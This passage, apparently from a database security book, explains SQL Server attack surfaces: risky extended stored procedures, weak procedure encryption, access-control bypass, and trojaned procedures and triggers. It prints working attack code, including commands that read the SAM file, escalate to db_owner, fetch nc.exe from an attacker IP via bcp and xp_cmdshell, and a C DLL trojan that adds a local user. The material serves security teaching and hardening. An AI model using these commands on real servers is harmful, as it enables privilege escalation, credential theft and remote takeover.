Logical Architecture

The logical architecture of SQL Server covers the internal structures and functions of the product. This section details security issues within this infrastructure, including potential abuse of stored procedures and triggers, and exploiting problems with the methods used to encrypt sensitive data.

Stored Procedures

SQL Server provides a means to extend its basic functionality in the form of stored procedures and extended stored procedures. Stored procedures are pre-compiled functions written in Transact-SQL, an extended version of Structured Query Language that includes additional high-level programming language constructs such as variables , loops , and conditional logic. Extended stored procedures (XPs) are generally functions written in C or C++ and called via the Open Data Services API from within DLLs to provide even greater functionality than that available with Transact-SQL.

The security issues that have historically affected stored procedures are varied, and include conventional buffer overflows from within passed arguments, susceptibility to Trojanning, and inadequate execution permissions on powerful procedures. The problem has been compounded by the fact that many of these vulnerable procedures are undocumented and therefore many database administrators are unaware of their existence.

The high-risk system and extended stored procedures that would especially interest an attacker are those that allow registry access, provide operating system functionality or return information about the SQL Server environment itself. These include xp_regread, xp_instanceregread, xp_regwrite, and xp_instanceregwrite, which take a Windows registry sub-key and value as arguments and can be used to read and write to values, respectively; and xp_cmdshell, which allows for the execution of a command string on the server itself. Registry values can be retrieved using

 EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Setup','SQLPath' 

The security context SQL Server is running under can be retrieved from the registry key:

 EXEC xp_regread 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSQLSERVER','ObjectName' 

A full list of dangerous extended stored procedures is provided in Appendix B.

The behavior of the xp_readerrorlog procedure is interesting because it can be used to output any file on the server (including binary files):

 exec master..xp_readerrorlog 1,N'c:\winnt\repair\sam' 

By default, however, execution of xp_readerrorlog is restricted to system administrators so the risk is mitigated somewhat. On some versions of SQL Server, when an installation is performed using native authentication, the sa password is saved in clear text to a number of files. SQL Server 7 saves the password to the setup.iss file in the Windows folder and the sqlsp.log in the Windows Temp folder. On SQL Server 2000 the password is saved to the files sqlstp.log, sqlsp.log, and setup.iss in the install directory under Mssql\Install. Microsoft provides a program killpwd.exe ( http://support.microsoft.com/default.aspx?scid=KB;en-us;263968&) , which can be used to remove all traces of saved passwords from a SQL Server installation.

In the past SQL Server 2000 has suffered from multiple buffer overflow vulnerabilities in extended stored procedures; however the rate of recent advisories has begun to slow. This may be in part due to the fact that many overflows were part of the same issue ”an overflow in the helper function srv_paraminfo(), which helps XPs parse input parameters. Buffer overflows in extended stored procedures are a particularly useful part of an attacker's arsenal when SQL injection in a Web front end allows execution of queries on the SQL Server but a firewall is preventing direct network access to the backend server itself. In this case an overflow would most likely be used to spawn a reverse shell back to a listening netcat on the attacker's machine using port 53 because traffic on this port is commonly allowed through firewalls because of the need for DNS servers to perform zone transfers.

The xp_peekqueue stored procedure is used to access the Microsoft Message Queue Server (MSMQ), a feature to queue application requests to the SQL Server if it is unavailable for any reason. This procedure is vulnerable to an argument-based buffer overflow in SQL Server 2000 with no service packs and SQL Server 7.0 pre-service pack 3 ( http://www.atstake.com/research/advisories/2000/a120100-2.txt ).

The stored procedures known to suffer from buffer overflow vulnerabilities in SQL Server 2000 are: xp_controlqueueservice, xp_createprivatequeue, xp_createqueue, xp_decodequeuecmd, xp_deleteprivatequeue, xp_deletequeue, xp_displayparamstmt, xp_displayqueuemesgs, xp_dsninfo, xp_enumresultset, xp_mergelineages, xp_oledbinfo, xp_proxiedmetadata, xp_readpkfromqueue, xp_repl_encrypt, xp_resetqueue, xp_showcolv, xp_sqlinventory, xp_sprintf, xp_unpackcab, and xp_updatecolvbm.

If an attacker has gained access to the filesystem, he will often install Trojan stored procedures by replacing the existing SQL Server dlls. This will give the functionality of stored procedures without the security measures. The dll's functions will also execute within SQL Server's process space, meaning that they have complete control over the database server process itself. A commonly targeted stored procedure is sp_password, which is used to change a user 's password. This could be altered to harvest passwords from users whenever it is called.

An attacker who is already a member of the ddladmin role could alter a stored procedure owned by dbo, so that when it is run his privileges are escalated to system administrator:

 alter proc dbo.sp_addgroup as create procedure sp_addgroup     @grpname   sysname         -- name of new role as     declare @ret int     execute @ret = sp_addrole @grpname     sp_addrolemember 'db_owner', 'myuser'  -- trojan command     return @ret GO 

Stored Procedure Encryption

Users can create custom stored procedures from Transact-SQL scripts in SQL Server. A basic encryption mechanism is provided to protect the source from casual viewing, which is invoked on creation using

 CREATE PROC [name] WITH ENCRYPTION 

The encryption uses a symmetric key derived from a SHA (Secure Hash Algorithm) hash of a number of database environment variables including the GUID (globally unique ID) and the object ID in the syscomments table. Any administrators will be able to access these values and so decrypt the text of any encrypted stored procedures. Both the tool dSQLSRVD ( http://www.geocities.com/d0mn4r/dSQLSRVD.html ) and the SQL script sp_decrypt_7.sql ( http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=26 ) can be used to decrypt procedures directly from the syscomments table.

The commercial tool SQLShield ( http://www.sql-shield.com ) encrypts stored procedures in such a way that they cannot be decrypted using dSQLSRVD.

Bypassing Access Controls

If a user authenticates using Windows authentication, several extended stored procedures can be used to cause SQL Server to reconnect to itself and bypass access controls. The extended stored procedures that could be abused are xp_displayparamstmt, xp_execresultset, and xp_printstatements:

 exec xp_execresultset N'exec master..xp_cmdshell ''dir > c:\foo.txt''',N'master' 

A variation on this attack uses the SQL Server Agent and takes advantage of its privilege level because it is often run in the security context of the local system account.

Execute permissions on these three procedures should be revoked to the public role, and permissions only granted to those users who specifically require them.

Uploading Files

If an attacker has obtained a privileged logon to a SQL Server, he will typically want to extend this access to a compromise of the entire machine. To achieve this it is useful to have attack tools on the server. Running his own SQL Server on his own machine, the attacker creates a table and streams the binary file into the table:

 create table temp (data text) bulk insert temp from 'c:\nc.exe' with (codepage='RAW') 

Setting the code page to RAW prevents any attempted conversion of the binary data to a character string. The bcp utility can be used to copy data from a database table to a file on the local filesystem; it is also able to connect to remote SQL Servers so the attacker (with an IP of 192.168.0.1) would now run the following on the target server:

 exec xp_cmdshell 'bcp "select * from temp" queryout nc.exe c Craw S192.168.0.1 Usa -Ppassword 

Assuming the transfer is not blocked by a firewall, the data will be streamed from the temp table on the attacker's server to the file nc.exe on the target server. The uploaded binary can now be executed using xp_cmdshell.

Extended Stored Procedure Trojans

SQL Server extended stored procedures are essentially functions exported by dynamically linked library (DLL) files, so an attacker with access to the filesystem could replace an existing dll with one that performs another action when executed. The action will be performed with the privileges of the SQL Server service, which often runs under the local system account. The following C source code is an example of a Trojanned version of the procedure xp_msver; it should be linked with the library odbc32.lib:

 #include <stdio.h> #include <srv.h> declspec(dllexport)ULONG __GetXpVersion()      {      return 1;      } declspec(dllexport)SRVRETCODE xp_msver(SRV_PROC* pSrvProc)      {      system ("net user test test /ADD");      return 1; } 

The dll should be compiled using

 cl /LD xplog70.c /link odbc32.lib 

On execution a new local user "test" will be created.

Solutions exist to defend against this file baselining, such as TripWire ( http://www.tripwire.com ), which can detect changes to system files. Host-based intrusion detection systems (IDS) can also monitor the integrity of local files.

Global Temporary Stored Procedures

Global temporary stored procedures are mainly used for backward compatibility with earlier versions of SQL Server that do not support T-SQL execution plan reuse. All users of the database have full privileges on these procedures, and an attacker can easily insert his own commands. Private temporary stored procedures, however, are only accessible by their owner. Global procedures are created using the following syntax:

 create proc ##global_proc as       select @@version 

It can be run using

 exec ##global_proc 

An attacker can easily Trojan the procedure using

 alter proc ##global_proc as exec sp_addrolemember 'db_owner', 'myuser'      select @@version 

Private temporary procedures are created using a single hash (#), and their usage is recommended wherever possible. Earlier versions of SQL Server 7 checked that only their creator could access them, but failed to check what they were accessing:

 create proc #myproc as      exec master..xp_cmdshell 'dir' 

This would execute whether or not the user had permissions on xp_cmdshell.

This issue was patched in Microsoft Security Bulletin MS00-048 ( http://www.microsoft.com/technet/security/bulletin/MS00-048.mspx ).

The text of both global and private temporary stored procedures can be viewed using

 select text from tempdb.dbo.syscomments 

All temporary procedures are deleted when their creating connection is terminated .

Triggers

Triggers in SQL Server 2000 are SQL scripts that are automatically executed when a particular event, such as a select, update, or delete action, occurs against a specific table. They are often used to enforce referential integrity within databases or to track any unauthorized changes to a database table.

A trigger to prevent company names from being altered in the Company table of the SQL Server sample Northwind database would be

 USE Northwind GO CREATE TRIGGER CompNameTrigger on Customers FOR UPDATE AS     IF UPDATE(CompanyName)     BEGIN         RAISERROR ('Error: The company name cannot be changed.', 1, 1)         ROLLBACK TRAN         RETURN     END GO 

Attempts to UPDATE the CompanyName field results in

 Msg 50000, Level 1, State 50000 Error: The company name cannot be changed. 

Triggers can be created using the same WITH ENCRYPTION option that is used with custom stored procedures:

 CREATE TRIGGER CompNameTrigger on Customers WITH ENCRYPTION FOR UPDATE AS . . . 

As before the tool dSQLSRVD ( http://www.geocities.com/d0mn4r/dSQLSRVD.html ) can be used to reverse the encryption. It should not be relied upon to protect data from database system administrators.

Triggers execute their associated stored procedures with the privileges of their creating user.

A trigger can be used to create a false error message that confuses connecting applications and clients and can lead to a denial of service. The trigger is

 CREATE TRIGGER CompNameTrigger on Customers INSTEAD OF INSERT AS RAISERROR ('[Microsoft OLE DB Provider for SQL Server] Timeout expired', 16, 1) 

This response will cause rapid reconnects by many web applications, possibly causing other users to have difficulty accessing the server.